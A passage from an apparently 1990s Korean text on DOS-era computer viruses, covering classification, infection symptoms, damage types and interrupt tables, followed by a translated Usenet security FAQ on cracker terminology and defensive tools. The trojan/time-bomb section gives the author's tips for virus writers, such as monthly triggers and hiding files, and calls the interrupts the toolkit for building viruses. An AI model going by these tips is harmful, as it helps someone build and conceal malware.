만, 분석하기는  쉽다. 몰타 아메바(Maltese_Ameoba), 푸른  하늘(Blue_Sky) 등은 감염될  때마다
암호를 푸는 방법이 달라진다.
하지만, 다형성과 갑옷형은 따로  분류되어야 한다고 생각한다. 갑옷형 바이러스도 역시 암호화를
사용하지만 분석하기가 상당히 까다롭다. 국산으로는 'KOTHS_HWB.4771'가 있다. 이것은 램에서
도 암호화가 되어  있다. 특히 고래(Whale) 바이러스는 여러  전문가가 모여 분석을 겨우 했다고
한다. 바이러스길이도 약  9KB 로 엄청나다. 이 바이러스의  계통을 보면 프로도에서 발전했다고
짐작된다.(프로도→물고기→고래) 하지만, 이런 분류도 모호한 것이 많다. 세이하 바이러스의 경우
은폐형으로볼 때 대부분 은폐형 하면 길이증가를 숨기는 것인데  이것은 그것을 만족하지 못한다.
그리고, 암호화 바이러스도  일부만을 암호화 시키는 바이러스의 경우 암호화라고  보아야 하는지
도 논란의 여지가 있다.(Meihua의 경우 Int 1h을 가로채 조금씩 실행하면서 바이러스  중 일부 암
호화된 부분을 푼다.)

8. 컴퓨터 바이러스 침입에 따른 진단과 양상
컴퓨터 바이러스가 침입했는지의 여부를 알아낸다는  것은 어떤 면에서 이미 피해가 발생한 후에
침입 사실을 알아차리게 되는 것과 같다. 다음의 일반적인 증상으로 체크해보자



 * 정상적으로 작동하던 프로그램이 갑자기 실행이 안된다.
 * 평소 요구하지 않던 메모리를 요구한다.
 * 프로그램 실행 속도가 느려진다.
 * 이상한 에러 메시지가 나타난다.
 * 디스크의 남은 용량이 감소한다.
 * 화일의 작성 날짜가 변한다.
 * 갑자기 자주 디스크 엑세스를 한다.
 * 시스템이 이유도 없이 다운(DOWN) 된다.
 * 화일이 이유도 없이 사라지거나 늘어난다.
 * 디렉토리가 엉망으로 엉켜버린다.
 * 정상적이던 디스크에 불량 섹터가 속출한다.
 * 시스템 영역이 파괴되었는지 갑자기 부팅이 안된다.
 * 컴퓨터 사용시 이상한 음악이나 삑 소리등이 울린다.
 * 메모리 상주 프로그램이 에러가 생기거나 거부당한다.


대충 위와 같은 증상들이  바이러스의 대표적인 것이다. 이외에도 여러 증상이 나타날수  있을 것
이다. 다음의 여러 양상들을 자세히 살펴보기 바란다.

1) 컴퓨터 바이러스에 의한 시스템 정지
비행기를 보면 블랙박스  라는 것이있다. 이는 비행기  운항에 대한 전반적인 데이타를  안전하게
저장했다가 사고가 났을때 분석하기 위함이다. 이것은 컴퓨터에도 적용될 수 있는 이야기이다. 몇
몇 기종의 컴퓨터는 SYSLOG라는 화일에 이런 정보를 담고있다. 바이러스가 침입해 시스템을 망
가트렸다면 시스템 오퍼레이터는 이를 분석해 원인을 찾을것이다.
그러나 MS-DOS를 사요하는 일반적인  컴퓨터에는 기본적으로 이런 역할을 하는 화일이  존재하
지 않는다. 시스템이 파괴되는 원인(일반적으로 정지)으로는 첫째,  프로그램과 시스템간의 결함에
의한 다운(DOWN)이다. 둘째,  컴퓨터 바이러스 프로그램 자체내의  버그(오류)로 인한 발생이다.
마지막으로 가장 치명적인 것이 컴퓨터 바이러스의 고의적 시스템  정지이다. 이를 구체적인 증상
으로 살펴보면 키보드를 통한 입력이 정지당하는 것이나 모니터 출력의 변화 그리고 잡음 출력등
으로 들 수 있겠다. 이럴경우  부팅을 하거나 전원을 끊는수밖에 없다. 바이러스에 의한 것이라면
이런 현상은 지속적일  수 있어서 문제이다. 더우기  부팅을 했지만 CMOS 셋업이  풀려버렸거나
시스템 영역의 파괴로 컴퓨터가 정상적으로 작동하지 않는 경우는 복구에 많은 시간을 필요로 한
다.

2) 컴퓨터 바이러스에 의한 하드웨어 파괴가능성
소프트웨어적으로 하드웨어를 파괴한다면  믿지 못하는 사람들도 많다. 하지만 이것은  충분히 가
능한 일이다. 필자가 알고있는 어떤 분은 이런 프로그램을  만들어 모니터나 마더보드를 태워버릴
수 있다고 자랑하기까지  했으니 말이다. 대부분의 하드웨어는 이런 소프트웨어적인  잘못된 명령
에 대비하고 있으나 그렇지 않은 경우도 있다는 것을 알아두기 바란다.
일반적인 하드웨어 파괴의 예를  들면, 디스크에 명령을 주어 존재하지 않는 내부  트랙으로 이동
하라는 콘트롤러 명령을 준다면  헤드는 안쪽으로 꽉 끼어서 움직이지 않는  JAM 현상이 발생한
다. 이 경우  번거롭지만 손으로 직접 해결해야만 한다. 이와  유사한 방법으로 프린터에 "페이퍼
잼(종이 낌)"  현상을 유도할수도  있다. 그리고  하드 디스크의  마스터 부트 섹터(Master  Boot
Sector)를 지우는 바이러스이다. 이  경우 포맷을 한다해도 다시 사용할수는 없다.  이외에도 단지
config.sys에 변형을 가해 엄청난 수의 하드  디스크 억세스를 실행시켜 하드 마모를 가져오는 경
우도 있다.

3) 컴퓨터 바이러스에 의한 에러조작
정상적인 시스템과 운영환경임에도 불구하고 단지 에러인척 조작하는  바이러스도 있다. 사용자는
단지 화면에 뜨는 메시지와 스피커를  통해 나오는 잡음만으로 시스템에 이상이 생긴걸로 판단해
버리는 경우가 있다.

다음은 초기 시절 소프트웨어 제작사들이  무단복제를 막기위해 화면에 내보내는 메세지 증 하나
이다.

  Internal error number : 084 876 at position pc 586
  please notify the manufacturer

이럴경우 아무 이상이  없지만 불법복제 사용자의 경우는  지레 겁을 집어먹게된다. 이런  방법을
컴퓨터 바이러스 제작자들이 모를리가 없다. 그리하여 나온 것이 "Rush Hour" 바이러스이다.
"러쉬아워" 바이러스는 단지 키가 눌려질때마다  소리를 내어 사용자가 짜증을 내며 이상이 있는
것처럼 유도만 한다.  이 외에 하드디스크에 배드섹터가 있는것처럼 보이게  한다거나 특정회사가
이런 에러를 유발시켜 새로운 구매를 이끌어 내는 경우도 있다.


4) 컴퓨터 바이러스에 의한 데이타 조작
컴퓨터의 하드웨어를 파괴하는것은  물리적인 것이기에 다시 수리하거나 새로 구입하면  된다. 그
러나 소프트웨어적인 데이타를  파괴하거나 변경시켜 버린다면 그 피해는 상상하기  어렵다. 고객
명단이 수록된 데이타베이스에 바이러스가 침투하여 엉뚱하게 바꾸어 버리거나 수년간 막대한 연
구비를 투자하여 제작한 프로젝트가 순식간에 날아가버릴수도 있다.
데이타를 전부 삭제하는것보다도 부분적인 변형을  가한것이 더 찾기 힘들뿐만 아니라 오류를 지
닌채 출력을 하므로  더 악질적이다. 은행 시스템에  바이러스가 침투하여 그날 출금  자리숫자를
변형 시킨다면 엄청난 혼란이  초래될것이다. 일일이 찾아서 수정하기도 결코 쉽지가 않을것이다.
데이타 오류 추적에 투자되는 시간은 곧 돈이다.


5) 컴퓨터 바이러스에 의한 시스템 실행 시간 가로채기
컴퓨터 바이러스에 의한  문제점은 굉장히 다양하다. 그  중 컴퓨터 바이러스가 시스템에  침투해
일으키는 문제로서 시스템  수행 시간을 가로채는 것이있다. 바이러스는 컴퓨터의  주메모리에 침
투해 있다가 메모리로  들어와 처리되는 프로그램들의 시간을  가로채서 시스템을 느리게 만들고
능력을 저하시킨다.
이외에 부당한 시스템  엑세스를 요구하는 바이러스도 존재한다. 네트워크를 통해  메인 프레임에
침투한 바이러스는 제작자가  명령한 대로 자신을 복제하고 특정 시간이  될 경우 메인 프레임에
억세스할 권한을 바이러스 제작자에게 넘겨준다. 메인 프레임이 감염될  경우 부당한 사용자가 시
스템을 조종하여 파괴할수도 있고 접속해오는 사용자들에게 바이러스를 전파할수도 있다.


9. 오퍼레이팅 시스템(Operating System)와 컴퓨터 바이러스
컴퓨터는 운영체제에 의해  작동한다. 컴퓨터 바이러스의 대부분은 이런 운영체제를  교묘히 이용
한다.
컴퓨터 운영체제에는 인터럽트라는  아주 중요한것이 있다. 인터럽트란  하드웨어적인것과 소프트
웨어적인 것으로 구분하는데 하드웨어적인  것은 하드웨어에서 발생하는 각종 신호들을 가리키며
소프트웨어적인 것은  프로그램이 진행하면서 발생하는 신호를  말한다. CPU는 컴퓨터  작업도중
발생하는 신호들을 조화롭고  효율적으로 처리해주는 것이다. 이러한 인터럽트의 기능  호출은 컴
퓨터 바이러스에게 역으로 공격할 소지를  남겨준다. 적을 알고 나를 알면 승리한다했다. 가장 널
리 쓰는 MS-DOS의 인터럽트에 대해 알아보자.
MS-DOS는 단일 운영체제로서 세계 약 1억명의 사용자를 가지고있다. 그렇기에 바이러스의 수도
엄청나게 존재한다. MS-DOS의  시스템은 인터럽트를 통해 어셈블리에 접근한다. 이  인터럽트는
'INT'라는 어셈블리 명령어로 호출된다. 인터럽트 리스트와 그 기능에 대해 알아보자.

인터럽트 번호           작업

00                      Division
01                      Single step
02                      NMI
03                      Brakepoint
04                      Overflow

05                      Print screen
06                      사용 안함
07                      사용 안함

08                      Timer
09                      Keyboard
0A                     사용 안함
0B                      AUX port COM1
0C                      AUX port COM2
0D                     Hard Disk Controller
0E                      Floppy Disk Controller
0F                      Printer

10                      SCREEN
11                      HARDWARE CHECK
12                      GET MEMORY SIZE
13                      DISK READ/WRITE(SECTOR)
14                      AUX READ/WRITE
15                      CASSETTE
16                      KEYBOARD
17                      PRINTER
18                      BASIC ROM
19                      BOOT STRAP
1A                     TIME
1B                      KEYBOARD BREAK
1C                      TIMER
1D                     SCREEN INIT
1E                      DISK PARAMETER ADDRESS
1F                      ASCII SET ADDRESS

실제 시스템 인터럽트는 20H 부터이다.

20                      TERMINATE PROGRAM
21                      DOS FUNCTION CALL
22                      TERMINATE ADDRESS
23                      CTRL C HANDLER ADDRESS
24                      CRITICAL FAILURE ADDRESS
25                      ABSOLUTE DISK READ
26                      ABSOLUTE DISK WRITE
27                      TERMINATE/REMAIN RESIDENT
28                      DOS INTERNAL
-
3F
40                      RESERVED FOR EXPANSION
-
5F
60                      USER INTERRUPTS
-
7F
80                      BASIC INTERRUPTS
-
85
86                      BASIC INTERPRETER INTERRUPTS
-
F0
F1                      사용 안함
-
FF

시스템 인터럽트중 주목할것이 21H이다. 21H는 특별한 역할을 하는것으로서 이것을  사용하기 위
해서는 인터럽트 실행전 아래 값들  중에 하나를 AH에 넣어 주어야 한다. 그러면 다음의  펑션들
을 사용하게된다.


AH 번호                기능(function)

00                      TERMINATE PROGRAM
01                      READ KEYBOARD AND ECHO
02                      DISPLAY CHARACTER
03                      AUXILIARY INPUT
04                      AUXILIARY OUTPUT
05                      PRINT CHARACTER
06                      DIRECT CONSOLE I/O
07                      DIRECT CONSOLE INPUT
08                      READ KEYBOARD
09                      DISPLAY STRING
0A                     BUFFERED KEYBOARD INPUT
0B                      CHECK KEYBOARD STATUS
0C                      FLUSH BUFFERS/READ KEYBOARD
0D                     FLUSH BUFFERS/DISK RESET
0E                      SELECT DISK
0F                      OPEN FILE
10                      CLOSE FILE
11                      SEARCH FOR FIRST ENTRY
12                      SEARCH FOR NEXT ENTRY
13                      DELETE FILE
14                      SEQUENCIAL READ
15                      SEQUENCIAL WRITE
16                      CREATE FILE
17                      RENAME FILE
18                      MS-DOS INTERNAL
19                      GET CURRENT DISK
1A                     SET DISK TRANSFER ADDRESS
1B                      MS-DOS INTERNAL
1C                      MS-DOS INTERNAL
1D                     MS-DOS INTERNAL
1E                      MS-DOS INTERNAL
1F                      MS-DOS INTERNAL
20                      MS-DOS INTERNAL
21                      RANDOM READ
22                      RANDOM WRITE
23                      GET FILE SIZE
24                      SET RELATIVE RECORD
25                      SET INTERRUPT VECTOR
26                      CREATE NEW PROGRAM SEGMENT
27                      RANDOM BLOCK READ
28                      RANDOM BLOCK WRITE
29                      PARSE FILE NAME
2A                     GET DATE
2B                      GET TIME
2C                      SET TIME
2E                      SET/RESET VERIFY FLAG
2F                      GET DISK TRANSFER ADDRESS
30                      GET DOS VERSION NUMBER
31                      TERMINATE/REMAIN RESIDENT
32                      MS-DOS INTERNAL
33                      CTRL-C CHECK
34                      MS-DOS INTERNAL
35                      GET INTERRUPT VECTOR
36                      GET DISK FREE SPACE
37                      MS-DOS INTERNAL
38                      GET COUNTRY INFORMATION
39                      CREATE SUB-DIRECTORY
3A                     REMOVE DIRECTORY
3B                      CHANGE CURRENT DIRECTORY
3C                      CREATE FILE/HANDLE
3D                     OPEN FILE/HANDLE
3E                      CLOSE FILE/HANDLE
3F                      READ FROM FILE/DEVICE
40                      WRITE FROM FILE/DEVICE
41                      DELETE FILE
42                      MOVE READ/WRITE POINTER
43                      CHANGE ATTRIBUTES
44                      I/O CONTROL FOR DEVICE
45                      DUPLICATE FILE HANDLE
46                      I/O REDIRECTION
47                      GET CURRENT DIRECTORY
48                      ALLOCATE/LOCK MOMORY
49                      UNLOCK MEMORY
4A                     MODIFY ALLOCATE MEMORY
4B                      LOAD/EXECUTE PROGRAM
4C                      TERMINATE PROCESS (ERROR)
4D                     GET CHILD'S RETURN CODE
4E                      FIND MATCH FILE
4F                      FIND NEXT FILE
50                      MS-DOS INTERNAL
51                      MS-DOS INTERNAL
52                      MS-DOS INTERNAL
53                      MS-DOS INTERNAL
54                      RETURN VERIFY FLAG
56                      MOVE FILE (RENAME)
57                      GET/SET FILE TIME & DATE
58                      GET/SET ALLOCATION STATUS
59                      GET EXPAND ERROR CODE
5A                     GERNATE TEMPORARY FILE
5B                      CREATIVE FILE
5C                      OPEN/CLOSE FILE ACCESS ABILITY
5E                      GET INFORMATION OF DEVICE

위에서 소개한 것들은  컴퓨터 바이러스를 제작할 수  있는 모든 조건들을 제공해준다.  제작자는
단지 적절히 골라서 사용하기만 하면 된다.

10. 컴퓨터 바이러스의 종류와 특징
바이러스는 그 종류도 다향하고 양상도 각각이다. 컴퓨터 바이러스는  특별히 정의를 내리기도 어
려울 뿐더러 분류에도 어려움이 있다.

1) 보편적인 바이러스 분류

 A. Overwriting VIRUS
원래 화일을 파괴하기 위해 덮어쓰는 형태의 바이러스이다. 가장  간단한 형태지만 바이러스의 모
든 특성을 지니고있다. 일단 실행되면 디스크의 모든 화일들을 지운다. 그러므로 쉽게 눈에 띈다.

 B. Non-Overwriting VIRUS
이 바이러스는 화일의 원형을 그대로 보존하기에 발견이 쉽지 않을뿐더러 덮어쓰는 바이러스보다
더 위험하다. 이유는 덮어쓰는 형태의  바이러스는 쉽게 눈에 띄기 때문에 전파력이 약하다. 엄밀
히 말해 바이러스의 위험도는 파괴력보다 숨어있는것이 더 무섭기 때문이다.

 C. Memory 상주 VIRUS
메모리 상주형 바이러스는  전파속도와 감염도에서 가장 뛰어나다. 이 바이러스가  메모리에 침투
하면 메모리에서 상주하여 있으면서  메모리로부터 읽어들이는 모든 화일이나 디스켓등에 감염을
시킨다. 컴퓨터가 꺼지는 순간까지 이 바이러스는 살아있을 것이다.

 D. Calling VIRUS
위의 바이러스들은 모두 그 크기가  크다. 그렇기에 발견될 위험도도 그만큼 크다. 그래서 calling
형 바이러스는 화일의 속성변환  등을 통해 눈에 안띄게 되어 있다. 감염시에만  바이러스 프로그
램을 호출하는 명령어만을 화일에 써넣는다. 사용자들의 눈을 속여 쉽게 발견되기 어렵다.


2) 그외의 컴퓨터 바이러스 분류


A. 트로이 목마형 & 시한폭탄형 바이러스
트로이목마는 고대 희랍에서 유래된말로 상대의  맘에 들게 만들어 그것을 취하면 피해를 입히는
미끼라고 할수 있다. 즉, 트로이목마형 바이러스를 만들면 트로이목마 바이러스는 제작자가 의도
한 방향대로 작동할  것이다. 단, 프로그램이 생명이  있는것도 아닌데 그냥 움직일리  없다. 분명
상대방이 이것을 실행시켜야 한다. 그래서 트로이목마형 바이러스는 화려한 가면을 쓰고있다.
최신 게임에 묻어오거나 누구나 한번쯤 실행시켜볼 그런  프로그램들에 감염되어 전파되는것이다.
그 예로 미국의 한  사설비비에스에서 있었던 일이있다. 새로 자료가 등록되었는데,  이름하여 '마
돈나 뮤직비디오!'  사람들이 호기심에 무진장 받아갔다.  처음에 실행하니 진짜 마돈나가  나와서
춤추고 노래부른다. 좀 있다가 화면에 '마돈나를 PC에서 봅니까?'하는 메시지와 더불어 하드가 날
라갔다. 트로이목마형의 전형적인 유형이다.  하지만, 이런 방식을 쓰면 트로이 목마를  제작한 사
람을 알 수 있고 그 출처도 알 수 있다. 이렇게 되면 전파력이 떨어지고 꼬리가 밟히는것이다. 그
래서 좀더 새로운 기술을 원해서 탄생한게 시한폭탄형(일명 논리형) 바이러스이다.
자신이 프로그래밍시 입력한 날짜나 시간 혹은 조건이 맞는다면 바이러스가 작동을 하는것이다.
물론, 날짜나 시간, 분,  초 단위까지도 맞추어 놓을수 있으나 월단위로 맞추어 놓는게  가장 확실
할것이다. 날짜로 맞추면 그 날짜에  컴퓨터를 사용안하고 거르면 또 한달을 기다리고, 시간도 마
찬가지일것이다. 좀 소스가 길어지지만 아예 1월 1일,  3월23일 이런식으로 코딩할수도 있다. 이번
달이 2월이면 바이러스에는 한 4월에 작동하라구 타이머를 맞춰두면 어김없이 4월 한달내내 작동
한다. 물론 그때까지 걸리지않구 숨어있어야 하니까 화일 속성을 숨김으로 바꾸어 놓으면 된다.
이러한 트로이 목마형 바이러스는 일반적인 프로그램을 가장하고 그 안에는 고의적으로 사용자가
모르는 다른 기능을 포함하고 있으며 자기 복제 기능이 없는 것이 특징이다.
트로이 목마형 바이러스를 기존의 바이러스 영역에 넣어야 할것인지에  대해선 논란이 많았다. 몇
몇 공식같은 바이러스 특성에 맞추기는 힘들기 때문이다. 하지만  목적과 행동유형이 같으니 엄연
한 바이러스 범주에 들어가야 한다.


 B. 벌레 프로그램
컴퓨터 시스템에는 별다른 영향을 끼치지 않고 자신을 계속  복제하는 프로그램이다. 네트워크 상
의 크리스마스 바이러스가 대표적인 예이다.

11. 컴퓨터 바이러스의 제작
컴퓨터 바이러스가 실제 어떻게  작동되고 제작되는지에 대해서 알아보자. 프로그래밍 언어별, 바
이러스 종류별로 구현된 소스를 게재하여 이해를 돕도록 하겠다.
컴퓨터 바이러스는 대개  어셈블리어로 작동한다. 이유는 어셈블리어가 가장 컴퓨터  시스템에 근
접할 수 있는 언어이기 때문이다. 어셈블리어로 제작된 바이러스는  그 크기도 작을뿐더러 속도도
빠르다. 하드웨어 접근에 탁월하기에  컴퓨터 바이러스 제작에 주로 사용된다. 해커라면 어셈블리
어는 능숙하게 다룰줄 알아야 하는것은 기본이다.
그러나 어셈블리어만으로  바이러스를 만드는것은 아니다.  베이직, 파스칼, C  언어 더우기 배치
(BATCH)화일 로도 프로그래밍을 할 수가 있다. 이렇게  컴퓨터 바이러스 제작기법을 공개하는것
은 바이러스의 실체를 낱낱이 알아야  이에 대처할 수 있다는 생각 때문이다. '知彼知己면 百戰百
勝'이라는 명언을 생각해보자.


----------------------------------------------------------------------




* 보안에 대한 주요 FAQ

1.alt.security 와 comp.security.misc는 어떤곳인가?
comp.security.misc는 유닉스와 관련된 컴퓨터 보안을 토론하는 포럼이다.
alt.security도 마찬가지로  같은 주제를 다루지만,자동차의  잠금장치나 경보장치
까지도 다루고있다.

2.해커 와 크래커 의 차이는 무엇인가?
USENET에 의하면,크래커(cracker)는 여러가지 이유로 다른 사람의 시스템에 침
투하려는 사람들을 지칭한다. 그들은 단지  '가능하니까'라는 핑계를 대며 자신들
의 행위를 정당화시키지만,대부분은 불법적인  일을 저지름으로써 명성을 얻으려
고 할뿐이다.
특히 반사회적인 크래커는 문화예술을  파괴하려는 경향을 가지고있어서, 파일시
스템을 삭제하고,시스템을 파괴하고,그들의  흔적을 추적하는 프로그램을 마비시
킨다.pc 의 복제장치를  제거해서 불법복사본을 배포하는 사람을  가리키는 경우
에도 크래커라는 말이 널리 쓰인다.
USENET에 의하면,  HACKER는 컴퓨터에 관한 상당한  양의 지식과 전문적인
기술을 갖고  있으며,교묘하게 이러한 기술을 이용할  수 있는 사람들을 말한다.
실제로, 사람들은 해커라는 말을 크래커와 거의 같은 의미로쓰고있다.
usenet에서도 이러한 경우는 심심치않게 나타나서 사람들을 혼란시키고 있다. 보
안을 다루는 게시판에 크래커를 해커로 잘못 사용한 게시물을 올린다면 많은 비
난을 면치 못할 것이다.

3.'security through abscurity'란 무엇인가?
STO(불투명함에 의한  보안)는 사용자그룹의 외부에  있는 어느 누구라도 내부
메카니즘에 대하여  아무것도 발견할 수  없는 한, 시스템이  안전하다는 믿음을
말한다. "누구라도 영원히 발견하지 못할 것이다"라는 가정을 가지고,password를
이진파일에 숨기는 것은 STO의 대표적 예이다.
STO는  많은   관료주의자들(군인,공무원....)이  좋아하는  철학이며,   시스템에
'pseudosecurity'를 제공하는 중요한 한 방법이다. 개방화된 시스템, 네트워킹, 프
로그램 기술에 대한 이해의 증가, 그리고 일반인이  사용할 수 있는 강력한 컴퓨
터의 등장으로 인하여 STO의 유용함은 점점 약해졌다.
STO의 기본은 '알 필요'에 의해서 시스템을 사용하는 것이다. 어떤  사람이 시스
템 보안에 영향을 미치는 방법을 모른다면 그것은 위험하지 않다.
모두가 인정하듯이, STO는 믿을 만한 이론을 가지고 있지만, 어쩔 수 없는 예외
의 경우도 있다. 그것은 바로 시스템의 운영자들로, 만일 유능한 직원이 더 나은
보수를 받고 다른 직장으로 간다면, 그가 알고 있는 지식도 함께 가버린다. 일단
그런 비밀이 노출되면 시스템의 보안도 더 이상 안전하지 않다.
최근에는 평범한 사용자들도 시스템이  돌아가는 방법에 대하여 자세하게 알 필
요가 있으므로 그 결과  STO의 효과는 많이 약해졌다. 오늘날 많은  사용자들이
전에는 알 필요가 없었던 시스템에  대해 상당히 많은 지식을 가지게 되었기 대
문에, 보안에 상당히 많은 문제가 생기기 시작했다.
따라서 지금 필요한 것은  철학적으로 안전하기 보다는 실제적으로 안전한 시스
템(Kerberos,Secure RPC)을 만드는 것이다.
'Shadow Passwords'는 종종 STO와 같이 무시당하지만, 이것은 옳지 않다.
왜냐하면 STO는 알고리즘이나 테크닉에  대한 접근을 제한하지만 쉐도우패스워
드는 실질적인 자료에 대한 접근을 제한하기 때문이다.

4.시스템의 보안을 저해하는 요소는 무엇인가?
진정으로 안전한 시스템은  파워를 끄고 코드를 뺀  후에 티타늄 선으로 묶어서
콘크리트로 밀봉을 하고 독가스를  채워서 최신의 무기를 가진 경비원으로 보호
를 하는 것이다.  그러나 그렇다고 하더라도 누구도 거기에 자신의  생명을 걸만
큼 안전하다고 자신하지는 못한다.
시스템의 보안 여부는  그것을 사용하는 사람들에게 달려있다.  시스템을 사용하
는 모든 사람들이 자기들의 시스템을 아무 문제 없이 이용하기 위해서 나름대로
책임감을 갖고 임한다면  특별한 보호장치 없이도 안전하게  유지될것이다. 많은
실험실에 있는 PC들은 이런 방식으로 아주 잘 운용되고 있다.
문제는 보안 유지에  대한 필요성을 느끼면서 시작된다. 일단 시스템에  보안 장
치를 설치하고 나면,그것은 결코 끝나지 않는 전쟁이 될 것이다.
보안상의 허점은 다음과 같이 4가지의 종류로 나눌 수 있다.
(1) 물리적 허점
불법 사용자가 시스템에 물리적으로  접근함으로써 문제가 생기는데,그가 해서는
안되는 작업을 할 수도 있기 때문이다.
이러한 좋은 예는 공동으로 사용하는 워크스테이션실에서  일어날 수 있는데, 그
런곳에서는 사용자가  손쉽게 시스템을 단일사용자모드로  바꾸고,파일 시스템을
뒤섞어 버릴 수 있다. 따라서 사전에 충분한 주의가 필요할 것이다.
또 다른  예로서,누구나 쉽게 읽을 수  있는 백업장치의 경우 기밀  유지를 위해
접근을 제한할 필요가 있다.
(2)소프트웨어 상의 허점
특별한 권한을 가지는 프로그램들(daemons,cronjobs)의 경우,이들이 원래의 목적
과 다르게 이용될 가능성이 있다.
가장 유명한 예가 sendmail  debug에 있던 허점인데, 크래커가 이것을 이용하여
root로 빠져나가는 좋은  수단이 되었다. 이것은 파일  시스템을 삭제하고,새로운
계정을 만들고, 패스워드 화일을 복제하는 등의 작업에  사용되었다.(일반적인 생
각과는 다르게,sendmail을 통한  침투는 악명높은 INTERNET WORM만  할 수
있었던 것은  아니었다. 크래커라면 누구든지  telnet을 이용하여 상대  시스템의
port25을 통해서 침투할 수 있었다)
이런 새로운 허점은 항상 발견될 수 있으므로 늘 다음과 같이 대비해야 한다.
 * root/daemons/bin에는 가급적 최소한의  프로그램을 설치하도록 한다. 이곳에
   있는 프로그램들은 특별한 권한을  가지고 있어서 위험하게 쓰일 수 있기 때
   문이다.
 * 문제의 해결책을  제공받을 수 있는 곳들에 대해 mailing  list를 만들어 문제
   가 발생할 경우 즉각적으로 연락을  취해 그 문제에 대한 정보를 받을 수 있
   도록 해야한다.
(3)호환성의 문제
누구의 잘못은 아니지만,시스템  운영자가 경험이 부족해서 보안의  측면에서 문
제가 있는 하드웨어 와 소프트웨어를 시스템에  설치한 경우이다. 이와같은 문제
는 시스템이 일단 가동되고 나면 발견하기가  힘들다. 따라서 신중하게 고려하여
시스템을 구성해야 한다.
(4) 적당한 보안정책의 작성과 유자
네번째 보안 문제는 인식과 이해에 관한 것이다. 완벽한 프로그램,보호장치가
된 하드웨어, 그리고 호환적인 부품일지라도, 적잘한 보안 정책을 가지고 운영되
지 않는다면 제  역할을 하지 못할 것이다. 만약 사용자들이  자신의 사용자명을
거꾸로 해서 패스워드를 정해버리는  식으로 보안 개념이 희박하다면 아무리 좋
은 패스워드 방식일지라도 아무런 가치가 없다.  보안이라는 것은 그러한 정책에
맞추어서 시스템을 얼마나 잘 운영하는가에 달려있다.

5.보안을 도와주는 도구에는 어떤 것들이 있는가?
(1)'COPS'
Dan Farmer에 의해 개발된 이 프로그램은 보안 상태를 검사해주는 기능을 하는
shell script이다. 기초적인 password cracker,setuid 프로그램에서 의심스런 변화
를 알아보기  위해 파일시스템을  검사하는 기능,기본  시스템과 사용자  파일의
permission을 검사하는 기능,문제를 일으킬만한  행동을 하는 시스템 프로그램을
검사하는 등의 기능을 가지고있다.
(2)'CRACK'(+'UFC')
Alec Muffett에 의해 개발된 이  프로그램은,외부인에 쉽게 노출될 가능성이있는
패스워드를 찾아내는  기능을 가지고있다.  아마도 이것은 패스워드  크래커로서
대중에 배포되는 유일한 프로그램으로서,사용자가  자신이 원하는 패스워드를 정
확하게 설정할 수 있도록 도와준다.
이것은 네트워크상에서 가급적 많은 시스템에서 사용 가능하도록 네트워크 기능
이 내장되어 있으며,Unix crypt() 알고리즘의 최적화된 버전으로 제공된다.
crypt()알고리즘 의 훨씬 더  빠른 버전인 'UFC'는 Michael Glad에 의해 개발되
었으며 네트워크상에서  무료로 배포된다. UFC와 CRACK  의 최신버전은 서로
호환이 되므로 함께 사용이 가능하다.
(3)NPasswd(Clyde Hoover) & Passwd+(Matt Bishop)
이 프로그램은 패스워드 크래킹 전쟁에서 균형을 되찾기 위하여 작성되었다.
이들은 표준  'passwd'명령어를 교체하여 사용자가 CRACK같은  프로그램에 의
해 쉽게 노출될 수 있는 패스워드를 정하지 못하도록 하는 기능을 가지고있다.
System V,NIS/yp,shadow password schemes  등의 다양한 시스템에서 쓰일 수
있는 여러가지 버전이  나와 있다. 일반적으로 파시스트  패스워드 프로그램으로
불리운다.
(4)"SHADOW"-Shadow Password suite
John F Haugh II 가  개발한 이 프로그램은 쉐도우패스워드 를 이용할 수 있도
록 해주는 프로그램이다. 즉 root 이외에는 어느 누구도 패스워드 파일을 볼수가
없으며, 패스워드 크래킹으로부터 안전하게 시스템을 보호해준다. 파시스트 패스
워드와 함께 쓰인다면 상당히 좋은 보안 방식이 될 것이다.
(5)TCP Wrappers(Wietse Venema)
유닉스가 기본적으로 제공하는  많은 네트워크 서비스에 front-ent  filter를 제공
하는 프로그램이다.  설치되고 나면,FTP/TFTP,telnet등을  이용하여 불법적으로
이루어지는 접속을 막을  수 있다. 누군가 시스템에 침투하려고 하는  경우에 유
용하게 쓰일 수 있다.
(6)SecureLib
Securelib은 kernel에 들어있는 세가지 함수들에 대한 대체 함수를 가지고있다.
(accept(),recvfrom(),recvmsg())이것들은 기존의 함수들과 호환성을 가지고  있으
며,시스템의 인터넷 어드레스를  검사하여 접속이 가능한 시스템을  확인하는 기
능을 가지고있다. 접속이 가능한 host는 configuration file에 기록된다.
(7)SPI
SPI는 file integrity를 포함하여 configuration option을 검사하는 프로그램이다.
차후에는 COPS에 포함될 예정이다.이것은 일반인은  사용할 수 없고, 미국 정부
만이 사용할 수 있다.

6.cracking tools을 일반인에게 공개하는 것이 위험하지 않은가?
개인의 견해에 따라 다르다. 일부사람들은 COPS와 CRACK을 공개한 것이 무책
임한 일이라고 주장한다. 부당하게 이용될 수 있기 때문이다.
그러나 역으로 생각하면, 이 프로그램이 갖는 긍정적인 면도 무시할 수 없다.
일반인들이 이 프로그램들을 이용해서 자신의 시스템을 검사하는데 많은 도움이
되기 때문이다. 따라서  공개로 인한 효과가 긍정적인지,부정적인지는 확실치 않
다.

7.이러한 프로그램은 어디서 구할 수 있는가?
(1) COPS
v 1.04,cert.sei.cmu.edu(pub/cops)와  archive.cis.ohio-state.edu(pub/cops)에서 ftp
를 이용하면 가능하다.
(2) CRACK/UFC
Crack  v4.1f, UFC  oatchlevel 1.  comp.sources.misc의 volume  28에서 주요한
USENET archive 를 통해 쉽게 구할수 있다.
(3) NPasswd
현재 많은 해킹버전이 존재한다. 버전  2.0이 준비중이며, 여러장소에서 여러버전
을 구할 수 있다.
(4)Passwd+
'alpha version,update 3' - beta version이 곧 나올 예정이다.
dartmouth.edu의 pub/passwd+.tae.Z 파일로 구할 수 있다.
(5)SHADOW
Usenet archive에 있는 comp.source.misc 디렉토리에서 구할 수 있다.
(6) TCP wrappers
anomymous FTP를 이용하면 가능하다.
cert.sei.cmu.edu:pub/network_tools/tcp_wrapper.shar
ftp.win.tue.nl:pub/security/log_tcp.shar.Z
(7)Securelib
eecs.nwu.edu 에서 anonymous FTP를 이용하면 구할 수있다.
pub/securelib.tar로 저장되어 있다.

8.시스템이 침입을 당하는 이유는 무엇이고 어떻게 침입을 당하는가?
이것은 단정적으로 대답하기  힘든 문제이다. 크래커가 많은  시스템에 침투함으
